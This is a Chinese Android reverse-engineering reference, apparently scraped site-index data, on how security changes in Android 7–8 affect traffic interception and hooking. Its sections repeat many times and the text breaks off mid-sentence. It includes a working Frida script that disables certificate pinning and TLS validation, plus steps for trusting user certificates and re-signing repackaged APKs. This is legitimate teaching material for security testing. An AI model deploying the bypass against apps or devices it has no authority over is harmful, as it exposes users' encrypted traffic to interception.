最关键的变化：默认情况下，应用不再信任用户安装的 CA 证书。这意味着在设备上安装 mitmproxy/Burp 等代理的证书后，targetSdkVersion \u003e= 24 的应用会拒绝连接。 绕过证书信任限制 方法一：修改 APK 中的网络安全配置 反编译 APK 后，添加或修改 network_security_config.xml，使其信任用户证书： 然后在 AndroidManifest.xml 中引用： 方法二：Magisk + MoveCert 模块 将用户证书移动到系统证书目录，使其被视为系统证书： # 1. 安装 Magisk (确保版本 24+) # 2. 安装 MagiskTrustUserCerts 模块 # 模块地址: https://github.com/NVISOsecurity/MagiskTrustUserCerts # 安装用户证书后，模块会自动将其复制到 /system/etc/security/cacerts/ # 重启设备生效 # 验证证书是否在系统目录 adb shell ls /system/etc/security/cacerts/ | grep -i \"hash\" 方法三：Frida SSL Pinning Bypass 使用 Frida 在运行时绕过 SSL 证书验证： // Frida SSL Pinning Bypass (通用版) Java.perform(function() { // 绕过 TrustManager var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl'); TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) { console.log('[*] SSL Pinning Bypass: ' + host); return untrustedChain; }; // 绕过 OkHttp CertificatePinner try { var CertificatePinner = Java.use('okhttp3.CertificatePinner'); CertificatePinner.check.overload('java.lang.String', 'java.util.List') .implementation = function(hostname, peerCertificates) { console.log('[*] OkHttp SSL Pinning Bypass: ' + hostname); return; }; } catch (e) { console.log('[*] OkHttp not found, skipping...'); } // 绕过 WebView SSL 错误 var WebViewClient = Java.use('android.webkit.WebViewClient'); WebViewClient.onReceivedSslError.implementation = function(view, handler, error) { console.log('[*] WebView SSL Error Bypass'); handler.proceed(); }; }); 3.3.2 Linker Namespace 隔离 Android 7.0 引入了 Linker namespace 机制，限制应用只能加载特定路径下的共享库，防止应用访问系统内部的私有 SO 库。 # namespace 隔离示意 ┌──────────────────────────────────────────┐ │ Android 7.0+ Linker │ ├──────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌────────────┐ │ │ │ default │ │ classloader│ │ │ │ namespace │ │ namespace │ │ │ ├────────────┤ ├────────────┤ │ │ │ /system/lib│ │ /data/app/ │ │ │ │ /vendor/lib│ │ app的SO │ │ │ └────────────┘ └────────────┘ │ │ ↕ 受限访问 │ └──────────────────────────────────────────┘ 对逆向影响：Frida 和 Xposed 注入时需要处理 namespace 隔离，否则可能无法正确加载或 hook 目标 SO。 3.3.3 APK Signature Scheme v2 APK Signature Scheme v2 对整个 APK 文件进行签名验证（而非仅 JAR 签名），修改 APK 任何部分都会导致签名失效。 对逆向影响：重打包后必须使用支持 v2 签名的工具重新签名： # 使用 apksigner 进行 v2 签名 apksigner sign --ks my-key.jks --ks-key-alias mykey \\ --v1-signing-enabled true --v2-signing-enabled true \\ modified.apk # 验证签名 apksigner verify --verbose modified.apk 3.3.4 File-Based Encryption (FBE) Android 7.0 引入基于文件的加密 (FBE) 取代全盘加密 (FDE)，允许不同文件使用不同密钥加密，支持 Direct Boot 模式。 3.3.5 JIT 编译器回归 (Profile-Guided Compilation) ART 重新引入 JIT 编译器，与 AOT 结合形成混合编译模式： 应用首次安装 → 全部解释执行/JIT ↓ 收集运行时 Profile ↓ 设备空闲时执行 AOT 编译（仅热点代码） ↓ 后续运行: 热点代码 AOT 执行 + 冷代码 JIT/解释执行 对逆向影响：方法可能处于不同的编译状态，hook 时需要考虑方法是 AOT 编译还是解释执行。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#331-网络安全配置-network-security-config"},{"categories":null,"collections":null,"content":"3.3 Android 7.0-7.1 (Nougat, API 24-25) Android 7.0 对逆向工程的影响极为深远，尤其是网络安全配置的引入，直接改变了流量拦截的方式。 3.3.1 网络安全配置 (Network Security Config) 这是影响逆向分析最深远的变化之一。Android 7.0 引入了 network_security_config.xml，允许应用以声明式方式配置网络安全策略。 最关键的变化：默认情况下，应用不再信任用户安装的 CA 证书。这意味着在设备上安装 mitmproxy/Burp 等代理的证书后，targetSdkVersion \u003e= 24 的应用会拒绝连接。 绕过证书信任限制 方法一：修改 APK 中的网络安全配置 反编译 APK 后，添加或修改 network_security_config.xml，使其信任用户证书： 然后在 AndroidManifest.xml 中引用： 方法二：Magisk + MoveCert 模块 将用户证书移动到系统证书目录，使其被视为系统证书： # 1. 安装 Magisk (确保版本 24+) # 2. 安装 MagiskTrustUserCerts 模块 # 模块地址: https://github.com/NVISOsecurity/MagiskTrustUserCerts # 安装用户证书后，模块会自动将其复制到 /system/etc/security/cacerts/ # 重启设备生效 # 验证证书是否在系统目录 adb shell ls /system/etc/security/cacerts/ | grep -i \"hash\" 方法三：Frida SSL Pinning Bypass 使用 Frida 在运行时绕过 SSL 证书验证： // Frida SSL Pinning Bypass (通用版) Java.perform(function() { // 绕过 TrustManager var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl'); TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) { console.log('[*] SSL Pinning Bypass: ' + host); return untrustedChain; }; // 绕过 OkHttp CertificatePinner try { var CertificatePinner = Java.use('okhttp3.CertificatePinner'); CertificatePinner.check.overload('java.lang.String', 'java.util.List') .implementation = function(hostname, peerCertificates) { console.log('[*] OkHttp SSL Pinning Bypass: ' + hostname); return; }; } catch (e) { console.log('[*] OkHttp not found, skipping...'); } // 绕过 WebView SSL 错误 var WebViewClient = Java.use('android.webkit.WebViewClient'); WebViewClient.onReceivedSslError.implementation = function(view, handler, error) { console.log('[*] WebView SSL Error Bypass'); handler.proceed(); }; }); 3.3.2 Linker Namespace 隔离 Android 7.0 引入了 Linker namespace 机制，限制应用只能加载特定路径下的共享库，防止应用访问系统内部的私有 SO 库。 # namespace 隔离示意 ┌──────────────────────────────────────────┐ │ Android 7.0+ Linker │ ├──────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌────────────┐ │ │ │ default │ │ classloader│ │ │ │ namespace │ │ namespace │ │ │ ├────────────┤ ├────────────┤ │ │ │ /system/lib│ │ /data/app/ │ │ │ │ /vendor/lib│ │ app的SO │ │ │ └────────────┘ └────────────┘ │ │ ↕ 受限访问 │ └──────────────────────────────────────────┘ 对逆向影响：Frida 和 Xposed 注入时需要处理 namespace 隔离，否则可能无法正确加载或 hook 目标 SO。 3.3.3 APK Signature Scheme v2 APK Signature Scheme v2 对整个 APK 文件进行签名验证（而非仅 JAR 签名），修改 APK 任何部分都会导致签名失效。 对逆向影响：重打包后必须使用支持 v2 签名的工具重新签名： # 使用 apksigner 进行 v2 签名 apksigner sign --ks my-key.jks --ks-key-alias mykey \\ --v1-signing-enabled true --v2-signing-enabled true \\ modified.apk # 验证签名 apksigner verify --verbose modified.apk 3.3.4 File-Based Encryption (FBE) Android 7.0 引入基于文件的加密 (FBE) 取代全盘加密 (FDE)，允许不同文件使用不同密钥加密，支持 Direct Boot 模式。 3.3.5 JIT 编译器回归 (Profile-Guided Compilation) ART 重新引入 JIT 编译器，与 AOT 结合形成混合编译模式： 应用首次安装 → 全部解释执行/JIT ↓ 收集运行时 Profile ↓ 设备空闲时执行 AOT 编译（仅热点代码） ↓ 后续运行: 热点代码 AOT 执行 + 冷代码 JIT/解释执行 对逆向影响：方法可能处于不同的编译状态，hook 时需要考虑方法是 AOT 编译还是解释执行。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#绕过证书信任限制"},{"categories":null,"collections":null,"content":"3.3 Android 7.0-7.1 (Nougat, API 24-25) Android 7.0 对逆向工程的影响极为深远，尤其是网络安全配置的引入，直接改变了流量拦截的方式。 3.3.1 网络安全配置 (Network Security Config) 这是影响逆向分析最深远的变化之一。Android 7.0 引入了 network_security_config.xml，允许应用以声明式方式配置网络安全策略。 最关键的变化：默认情况下，应用不再信任用户安装的 CA 证书。这意味着在设备上安装 mitmproxy/Burp 等代理的证书后，targetSdkVersion \u003e= 24 的应用会拒绝连接。 绕过证书信任限制 方法一：修改 APK 中的网络安全配置 反编译 APK 后，添加或修改 network_security_config.xml，使其信任用户证书： 然后在 AndroidManifest.xml 中引用： 方法二：Magisk + MoveCert 模块 将用户证书移动到系统证书目录，使其被视为系统证书： # 1. 安装 Magisk (确保版本 24+) # 2. 安装 MagiskTrustUserCerts 模块 # 模块地址: https://github.com/NVISOsecurity/MagiskTrustUserCerts # 安装用户证书后，模块会自动将其复制到 /system/etc/security/cacerts/ # 重启设备生效 # 验证证书是否在系统目录 adb shell ls /system/etc/security/cacerts/ | grep -i \"hash\" 方法三：Frida SSL Pinning Bypass 使用 Frida 在运行时绕过 SSL 证书验证： // Frida SSL Pinning Bypass (通用版) Java.perform(function() { // 绕过 TrustManager var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl'); TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) { console.log('[*] SSL Pinning Bypass: ' + host); return untrustedChain; }; // 绕过 OkHttp CertificatePinner try { var CertificatePinner = Java.use('okhttp3.CertificatePinner'); CertificatePinner.check.overload('java.lang.String', 'java.util.List') .implementation = function(hostname, peerCertificates) { console.log('[*] OkHttp SSL Pinning Bypass: ' + hostname); return; }; } catch (e) { console.log('[*] OkHttp not found, skipping...'); } // 绕过 WebView SSL 错误 var WebViewClient = Java.use('android.webkit.WebViewClient'); WebViewClient.onReceivedSslError.implementation = function(view, handler, error) { console.log('[*] WebView SSL Error Bypass'); handler.proceed(); }; }); 3.3.2 Linker Namespace 隔离 Android 7.0 引入了 Linker namespace 机制，限制应用只能加载特定路径下的共享库，防止应用访问系统内部的私有 SO 库。 # namespace 隔离示意 ┌──────────────────────────────────────────┐ │ Android 7.0+ Linker │ ├──────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌────────────┐ │ │ │ default │ │ classloader│ │ │ │ namespace │ │ namespace │ │ │ ├────────────┤ ├────────────┤ │ │ │ /system/lib│ │ /data/app/ │ │ │ │ /vendor/lib│ │ app的SO │ │ │ └────────────┘ └────────────┘ │ │ ↕ 受限访问 │ └──────────────────────────────────────────┘ 对逆向影响：Frida 和 Xposed 注入时需要处理 namespace 隔离，否则可能无法正确加载或 hook 目标 SO。 3.3.3 APK Signature Scheme v2 APK Signature Scheme v2 对整个 APK 文件进行签名验证（而非仅 JAR 签名），修改 APK 任何部分都会导致签名失效。 对逆向影响：重打包后必须使用支持 v2 签名的工具重新签名： # 使用 apksigner 进行 v2 签名 apksigner sign --ks my-key.jks --ks-key-alias mykey \\ --v1-signing-enabled true --v2-signing-enabled true \\ modified.apk # 验证签名 apksigner verify --verbose modified.apk 3.3.4 File-Based Encryption (FBE) Android 7.0 引入基于文件的加密 (FBE) 取代全盘加密 (FDE)，允许不同文件使用不同密钥加密，支持 Direct Boot 模式。 3.3.5 JIT 编译器回归 (Profile-Guided Compilation) ART 重新引入 JIT 编译器，与 AOT 结合形成混合编译模式： 应用首次安装 → 全部解释执行/JIT ↓ 收集运行时 Profile ↓ 设备空闲时执行 AOT 编译（仅热点代码） ↓ 后续运行: 热点代码 AOT 执行 + 冷代码 JIT/解释执行 对逆向影响：方法可能处于不同的编译状态，hook 时需要考虑方法是 AOT 编译还是解释执行。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#332-linker-namespace-隔离"},{"categories":null,"collections":null,"content":"3.3 Android 7.0-7.1 (Nougat, API 24-25) Android 7.0 对逆向工程的影响极为深远，尤其是网络安全配置的引入，直接改变了流量拦截的方式。 3.3.1 网络安全配置 (Network Security Config) 这是影响逆向分析最深远的变化之一。Android 7.0 引入了 network_security_config.xml，允许应用以声明式方式配置网络安全策略。 最关键的变化：默认情况下，应用不再信任用户安装的 CA 证书。这意味着在设备上安装 mitmproxy/Burp 等代理的证书后，targetSdkVersion \u003e= 24 的应用会拒绝连接。 绕过证书信任限制 方法一：修改 APK 中的网络安全配置 反编译 APK 后，添加或修改 network_security_config.xml，使其信任用户证书： 然后在 AndroidManifest.xml 中引用： 方法二：Magisk + MoveCert 模块 将用户证书移动到系统证书目录，使其被视为系统证书： # 1. 安装 Magisk (确保版本 24+) # 2. 安装 MagiskTrustUserCerts 模块 # 模块地址: https://github.com/NVISOsecurity/MagiskTrustUserCerts # 安装用户证书后，模块会自动将其复制到 /system/etc/security/cacerts/ # 重启设备生效 # 验证证书是否在系统目录 adb shell ls /system/etc/security/cacerts/ | grep -i \"hash\" 方法三：Frida SSL Pinning Bypass 使用 Frida 在运行时绕过 SSL 证书验证： // Frida SSL Pinning Bypass (通用版) Java.perform(function() { // 绕过 TrustManager var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl'); TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) { console.log('[*] SSL Pinning Bypass: ' + host); return untrustedChain; }; // 绕过 OkHttp CertificatePinner try { var CertificatePinner = Java.use('okhttp3.CertificatePinner'); CertificatePinner.check.overload('java.lang.String', 'java.util.List') .implementation = function(hostname, peerCertificates) { console.log('[*] OkHttp SSL Pinning Bypass: ' + hostname); return; }; } catch (e) { console.log('[*] OkHttp not found, skipping...'); } // 绕过 WebView SSL 错误 var WebViewClient = Java.use('android.webkit.WebViewClient'); WebViewClient.onReceivedSslError.implementation = function(view, handler, error) { console.log('[*] WebView SSL Error Bypass'); handler.proceed(); }; }); 3.3.2 Linker Namespace 隔离 Android 7.0 引入了 Linker namespace 机制，限制应用只能加载特定路径下的共享库，防止应用访问系统内部的私有 SO 库。 # namespace 隔离示意 ┌──────────────────────────────────────────┐ │ Android 7.0+ Linker │ ├──────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌────────────┐ │ │ │ default │ │ classloader│ │ │ │ namespace │ │ namespace │ │ │ ├────────────┤ ├────────────┤ │ │ │ /system/lib│ │ /data/app/ │ │ │ │ /vendor/lib│ │ app的SO │ │ │ └────────────┘ └────────────┘ │ │ ↕ 受限访问 │ └──────────────────────────────────────────┘ 对逆向影响：Frida 和 Xposed 注入时需要处理 namespace 隔离，否则可能无法正确加载或 hook 目标 SO。 3.3.3 APK Signature Scheme v2 APK Signature Scheme v2 对整个 APK 文件进行签名验证（而非仅 JAR 签名），修改 APK 任何部分都会导致签名失效。 对逆向影响：重打包后必须使用支持 v2 签名的工具重新签名： # 使用 apksigner 进行 v2 签名 apksigner sign --ks my-key.jks --ks-key-alias mykey \\ --v1-signing-enabled true --v2-signing-enabled true \\ modified.apk # 验证签名 apksigner verify --verbose modified.apk 3.3.4 File-Based Encryption (FBE) Android 7.0 引入基于文件的加密 (FBE) 取代全盘加密 (FDE)，允许不同文件使用不同密钥加密，支持 Direct Boot 模式。 3.3.5 JIT 编译器回归 (Profile-Guided Compilation) ART 重新引入 JIT 编译器，与 AOT 结合形成混合编译模式： 应用首次安装 → 全部解释执行/JIT ↓ 收集运行时 Profile ↓ 设备空闲时执行 AOT 编译（仅热点代码） ↓ 后续运行: 热点代码 AOT 执行 + 冷代码 JIT/解释执行 对逆向影响：方法可能处于不同的编译状态，hook 时需要考虑方法是 AOT 编译还是解释执行。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#333-apk-signature-scheme-v2"},{"categories":null,"collections":null,"content":"3.3 Android 7.0-7.1 (Nougat, API 24-25) Android 7.0 对逆向工程的影响极为深远，尤其是网络安全配置的引入，直接改变了流量拦截的方式。 3.3.1 网络安全配置 (Network Security Config) 这是影响逆向分析最深远的变化之一。Android 7.0 引入了 network_security_config.xml，允许应用以声明式方式配置网络安全策略。 最关键的变化：默认情况下，应用不再信任用户安装的 CA 证书。这意味着在设备上安装 mitmproxy/Burp 等代理的证书后，targetSdkVersion \u003e= 24 的应用会拒绝连接。 绕过证书信任限制 方法一：修改 APK 中的网络安全配置 反编译 APK 后，添加或修改 network_security_config.xml，使其信任用户证书： 然后在 AndroidManifest.xml 中引用： 方法二：Magisk + MoveCert 模块 将用户证书移动到系统证书目录，使其被视为系统证书： # 1. 安装 Magisk (确保版本 24+) # 2. 安装 MagiskTrustUserCerts 模块 # 模块地址: https://github.com/NVISOsecurity/MagiskTrustUserCerts # 安装用户证书后，模块会自动将其复制到 /system/etc/security/cacerts/ # 重启设备生效 # 验证证书是否在系统目录 adb shell ls /system/etc/security/cacerts/ | grep -i \"hash\" 方法三：Frida SSL Pinning Bypass 使用 Frida 在运行时绕过 SSL 证书验证： // Frida SSL Pinning Bypass (通用版) Java.perform(function() { // 绕过 TrustManager var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl'); TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) { console.log('[*] SSL Pinning Bypass: ' + host); return untrustedChain; }; // 绕过 OkHttp CertificatePinner try { var CertificatePinner = Java.use('okhttp3.CertificatePinner'); CertificatePinner.check.overload('java.lang.String', 'java.util.List') .implementation = function(hostname, peerCertificates) { console.log('[*] OkHttp SSL Pinning Bypass: ' + hostname); return; }; } catch (e) { console.log('[*] OkHttp not found, skipping...'); } // 绕过 WebView SSL 错误 var WebViewClient = Java.use('android.webkit.WebViewClient'); WebViewClient.onReceivedSslError.implementation = function(view, handler, error) { console.log('[*] WebView SSL Error Bypass'); handler.proceed(); }; }); 3.3.2 Linker Namespace 隔离 Android 7.0 引入了 Linker namespace 机制，限制应用只能加载特定路径下的共享库，防止应用访问系统内部的私有 SO 库。 # namespace 隔离示意 ┌──────────────────────────────────────────┐ │ Android 7.0+ Linker │ ├──────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌────────────┐ │ │ │ default │ │ classloader│ │ │ │ namespace │ │ namespace │ │ │ ├────────────┤ ├────────────┤ │ │ │ /system/lib│ │ /data/app/ │ │ │ │ /vendor/lib│ │ app的SO │ │ │ └────────────┘ └────────────┘ │ │ ↕ 受限访问 │ └──────────────────────────────────────────┘ 对逆向影响：Frida 和 Xposed 注入时需要处理 namespace 隔离，否则可能无法正确加载或 hook 目标 SO。 3.3.3 APK Signature Scheme v2 APK Signature Scheme v2 对整个 APK 文件进行签名验证（而非仅 JAR 签名），修改 APK 任何部分都会导致签名失效。 对逆向影响：重打包后必须使用支持 v2 签名的工具重新签名： # 使用 apksigner 进行 v2 签名 apksigner sign --ks my-key.jks --ks-key-alias mykey \\ --v1-signing-enabled true --v2-signing-enabled true \\ modified.apk # 验证签名 apksigner verify --verbose modified.apk 3.3.4 File-Based Encryption (FBE) Android 7.0 引入基于文件的加密 (FBE) 取代全盘加密 (FDE)，允许不同文件使用不同密钥加密，支持 Direct Boot 模式。 3.3.5 JIT 编译器回归 (Profile-Guided Compilation) ART 重新引入 JIT 编译器，与 AOT 结合形成混合编译模式： 应用首次安装 → 全部解释执行/JIT ↓ 收集运行时 Profile ↓ 设备空闲时执行 AOT 编译（仅热点代码） ↓ 后续运行: 热点代码 AOT 执行 + 冷代码 JIT/解释执行 对逆向影响：方法可能处于不同的编译状态，hook 时需要考虑方法是 AOT 编译还是解释执行。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#334-file-based-encryption-fbe"},{"categories":null,"collections":null,"content":"3.3 Android 7.0-7.1 (Nougat, API 24-25) Android 7.0 对逆向工程的影响极为深远，尤其是网络安全配置的引入，直接改变了流量拦截的方式。 3.3.1 网络安全配置 (Network Security Config) 这是影响逆向分析最深远的变化之一。Android 7.0 引入了 network_security_config.xml，允许应用以声明式方式配置网络安全策略。 最关键的变化：默认情况下，应用不再信任用户安装的 CA 证书。这意味着在设备上安装 mitmproxy/Burp 等代理的证书后，targetSdkVersion \u003e= 24 的应用会拒绝连接。 绕过证书信任限制 方法一：修改 APK 中的网络安全配置 反编译 APK 后，添加或修改 network_security_config.xml，使其信任用户证书： 然后在 AndroidManifest.xml 中引用： 方法二：Magisk + MoveCert 模块 将用户证书移动到系统证书目录，使其被视为系统证书： # 1. 安装 Magisk (确保版本 24+) # 2. 安装 MagiskTrustUserCerts 模块 # 模块地址: https://github.com/NVISOsecurity/MagiskTrustUserCerts # 安装用户证书后，模块会自动将其复制到 /system/etc/security/cacerts/ # 重启设备生效 # 验证证书是否在系统目录 adb shell ls /system/etc/security/cacerts/ | grep -i \"hash\" 方法三：Frida SSL Pinning Bypass 使用 Frida 在运行时绕过 SSL 证书验证： // Frida SSL Pinning Bypass (通用版) Java.perform(function() { // 绕过 TrustManager var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl'); TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) { console.log('[*] SSL Pinning Bypass: ' + host); return untrustedChain; }; // 绕过 OkHttp CertificatePinner try { var CertificatePinner = Java.use('okhttp3.CertificatePinner'); CertificatePinner.check.overload('java.lang.String', 'java.util.List') .implementation = function(hostname, peerCertificates) { console.log('[*] OkHttp SSL Pinning Bypass: ' + hostname); return; }; } catch (e) { console.log('[*] OkHttp not found, skipping...'); } // 绕过 WebView SSL 错误 var WebViewClient = Java.use('android.webkit.WebViewClient'); WebViewClient.onReceivedSslError.implementation = function(view, handler, error) { console.log('[*] WebView SSL Error Bypass'); handler.proceed(); }; }); 3.3.2 Linker Namespace 隔离 Android 7.0 引入了 Linker namespace 机制，限制应用只能加载特定路径下的共享库，防止应用访问系统内部的私有 SO 库。 # namespace 隔离示意 ┌──────────────────────────────────────────┐ │ Android 7.0+ Linker │ ├──────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌────────────┐ │ │ │ default │ │ classloader│ │ │ │ namespace │ │ namespace │ │ │ ├────────────┤ ├────────────┤ │ │ │ /system/lib│ │ /data/app/ │ │ │ │ /vendor/lib│ │ app的SO │ │ │ └────────────┘ └────────────┘ │ │ ↕ 受限访问 │ └──────────────────────────────────────────┘ 对逆向影响：Frida 和 Xposed 注入时需要处理 namespace 隔离，否则可能无法正确加载或 hook 目标 SO。 3.3.3 APK Signature Scheme v2 APK Signature Scheme v2 对整个 APK 文件进行签名验证（而非仅 JAR 签名），修改 APK 任何部分都会导致签名失效。 对逆向影响：重打包后必须使用支持 v2 签名的工具重新签名： # 使用 apksigner 进行 v2 签名 apksigner sign --ks my-key.jks --ks-key-alias mykey \\ --v1-signing-enabled true --v2-signing-enabled true \\ modified.apk # 验证签名 apksigner verify --verbose modified.apk 3.3.4 File-Based Encryption (FBE) Android 7.0 引入基于文件的加密 (FBE) 取代全盘加密 (FDE)，允许不同文件使用不同密钥加密，支持 Direct Boot 模式。 3.3.5 JIT 编译器回归 (Profile-Guided Compilation) ART 重新引入 JIT 编译器，与 AOT 结合形成混合编译模式： 应用首次安装 → 全部解释执行/JIT ↓ 收集运行时 Profile ↓ 设备空闲时执行 AOT 编译（仅热点代码） ↓ 后续运行: 热点代码 AOT 执行 + 冷代码 JIT/解释执行 对逆向影响：方法可能处于不同的编译状态，hook 时需要考虑方法是 AOT 编译还是解释执行。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#335-jit-编译器回归-profile-guided-compilation"},{"categories":null,"collections":null,"content":"3.4 Android 8.0-8.1 (Oreo, API 26-27) 3.4.1 Project Treble (HAL 接口标准化) Project Treble 是 Android 架构的一次重大重构，将 vendor（硬件相关）实现与 Android 框架分离： ┌──────────────────────────────────────────────┐ │ Android 8.0+ 架构 │ ├──────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────┐ │ │ │ Framework │ │ Apps │ ← system 分区 │ │ └────┬─────┘ └──────────┘ │ │ │ HIDL │ │ ┌────┴─────┐ │ │ │ Vendor │ ← vendor 分区 │ │ │ HAL │ │ │ └──────────┘ │ │ │ └──────────────────────────────────────────────┘ 3.4.2 Vendor/System 分区分离 SO 库被严格按照分区组织： # System SO 路径 /system/lib64/ # 框架层 SO /system/lib64/hw/ # System HAL 库 # Vendor SO 路径 /vendor/lib64/ # 厂商 SO /vendor/lib64/hw/ # Vendor HAL 库 # 查看 SO 所在分区 adb shell ls -la /system/lib64/ | head -20 adb shell ls -la /vendor/lib64/ | head -20 3.4.3 HIDL (HAL Interface Definition Language) HIDL 定义了 Framework 与 Vendor HAL 之间的稳定接口，使用 Binder IPC 进行跨进程通信。 3.4.4 更严格的后台限制 Android 8.0 对后台服务施加了严格限制： 后台服务在一定时间后被系统终止 隐式广播限制 后台定位更新频率降低 对逆向影响： 需要持久化运行的 hook 框架（如 Frida gadget）可能被后台限制影响 需要将服务声明为前台服务或使用 Work Manager Treble 架构下的 SO 查找技巧 # 查找特定 SO 在哪个分区 adb shell find /system /vendor /product /apex -name \"libtarget.so\" 2\u003e/dev/null # 查看 SO 的链接依赖 adb shell readelf -d /vendor/lib64/libtarget.so | grep NEEDED # 查看 vendor namespace 中可见的库 adb shell cat /system/etc/ld.config.txt | grep -A 10 \"\\[vendor\\]\" # 列出 HIDL 服务 adb shell lshal ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:4","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#34-android-80-81-oreo-api-26-27"},{"categories":null,"collections":null,"content":"3.4 Android 8.0-8.1 (Oreo, API 26-27) 3.4.1 Project Treble (HAL 接口标准化) Project Treble 是 Android 架构的一次重大重构，将 vendor（硬件相关）实现与 Android 框架分离： ┌──────────────────────────────────────────────┐ │ Android 8.0+ 架构 │ ├──────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────┐ │ │ │ Framework │ │ Apps │ ← system 分区 │ │ └────┬─────┘ └──────────┘ │ │ │ HIDL │ │ ┌────┴─────┐ │ │ │ Vendor │ ← vendor 分区 │ │ │ HAL │ │ │ └──────────┘ │ │ │ └──────────────────────────────────────────────┘ 3.4.2 Vendor/System 分区分离 SO 库被严格按照分区组织： # System SO 路径 /system/lib64/ # 框架层 SO /system/lib64/hw/ # System HAL 库 # Vendor SO 路径 /vendor/lib64/ # 厂商 SO /vendor/lib64/hw/ # Vendor HAL 库 # 查看 SO 所在分区 adb shell ls -la /system/lib64/ | head -20 adb shell ls -la /vendor/lib64/ | head -20 3.4.3 HIDL (HAL Interface Definition Language) HIDL 定义了 Framework 与 Vendor HAL 之间的稳定接口，使用 Binder IPC 进行跨进程通信。 3.4.4 更严格的后台限制 Android 8.0 对后台服务施加了严格限制： 后台服务在一定时间后被系统终止 隐式广播限制 后台定位更新频率降低 对逆向影响： 需要持久化运行的 hook 框架（如 Frida gadget）可能被后台限制影响 需要将服务声明为前台服务或使用 Work Manager Treble 架构下的 SO 查找技巧 # 查找特定 SO 在哪个分区 adb shell find /system /vendor /product /apex -name \"libtarget.so\" 2\u003e/dev/null # 查看 SO 的链接依赖 adb shell readelf -d /vendor/lib64/libtarget.so | grep NEEDED # 查看 vendor namespace 中可见的库 adb shell cat /system/etc/ld.config.txt | grep -A 10 \"\\[vendor\\]\" # 列出 HIDL 服务 adb shell lshal ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:4","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#341-project-treble-hal-接口标准化"},{"categories":null,"collections":null,"content":"3.4 Android 8.0-8.1 (Oreo, API 26-27) 3.4.1 Project Treble (HAL 接口标准化) Project Treble 是 Android 架构的一次重大重构，将 vendor（硬件相关）实现与 Android 框架分离： ┌──────────────────────────────────────────────┐ │ Android 8.0+ 架构 │ ├──────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────┐ │ │ │ Framework │ │ Apps │ ← system 分区 │ │ └────┬─────┘ └──────────┘ │ │ │ HIDL │ │ ┌────┴─────┐ │ │ │ Vendor │ ← vendor 分区 │ │ │ HAL │ │ │ └──────────┘ │ │ │ └──────────────────────────────────────────────┘ 3.4.2 Vendor/System 分区分离 SO 库被严格按照分区组织： # System SO 路径 /system/lib64/ # 框架层 SO /system/lib64/hw/ # System HAL 库 # Vendor SO 路径 /vendor/lib64/ # 厂商 SO /vendor/lib64/hw/ # Vendor HAL 库 # 查看 SO 所在分区 adb shell ls -la /system/lib64/ | head -20 adb shell ls -la /vendor/lib64/ | head -20 3.4.3 HIDL (HAL Interface Definition Language) HIDL 定义了 Framework 与 Vendor HAL 之间的稳定接口，使用 Binder IPC 进行跨进程通信。 3.4.4 更严格的后台限制 Android 8.0 对后台服务施加了严格限制： 后台服务在一定时间后被系统终止 隐式广播限制 